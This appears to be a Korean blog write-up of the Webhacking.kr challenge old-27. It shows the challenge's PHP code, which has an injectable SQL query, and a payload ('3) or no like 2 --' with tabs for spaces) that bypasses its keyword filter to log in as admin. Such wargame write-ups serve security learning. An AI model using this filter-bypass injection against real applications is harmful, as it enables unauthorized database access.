문제에 접속하면 위와 같이 SQL Injection을 이용하여 플래그를 획득해야한다. 코드는 아래와 같다.
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 27</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get action=index.php>
<input type=text name=no><input type=submit>
</form>
<?php
if($_GET['no']){
$db = dbconnect();
if(preg_match("/#|select|\(| |limit|=|0x/i",$_GET['no'])) exit("no hack");
$r=mysqli_fetch_array(mysqli_query($db,"select id from chall27 where id='guest' and no=({$_GET['no']})")) or die("query error");
if($r['id']=="guest") echo("guest");
if($r['id']=="admin") solve(27); // admin's no = 2
}
?>
<br><a href=?view_source=1>view-source</a>
</body>
</html>
select id from chall27 where id='guest' and no=({$_GET['no']})
위 sql문의 no에 적절한 값을 넣으면 해결할 수 있다. 앞 부분이 and 형식으로 되어있으므로 앞부분은 false 뒤에 or 을 추가해서 true를 삽입하면 될 듯하다.
3) or no like 2 --
위 명령어 처럼 =대신에 like절을 사용하고 띄어쓰기 대신 Tab를 사용하면 된다. 명령어를 주입하면 플래그를 획득할 수 있다.
'웹 해킹 > Webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-32 (0) | 2021.09.08 |
---|---|
[Webhacking.kr] old-31 (0) | 2021.09.08 |
[Webhacking.kr] old-19 (0) | 2021.09.07 |
[Webhacking.kr] old-25 (0) | 2021.09.07 |
[Webhacking.kr] old-39 (0) | 2021.09.07 |
댓글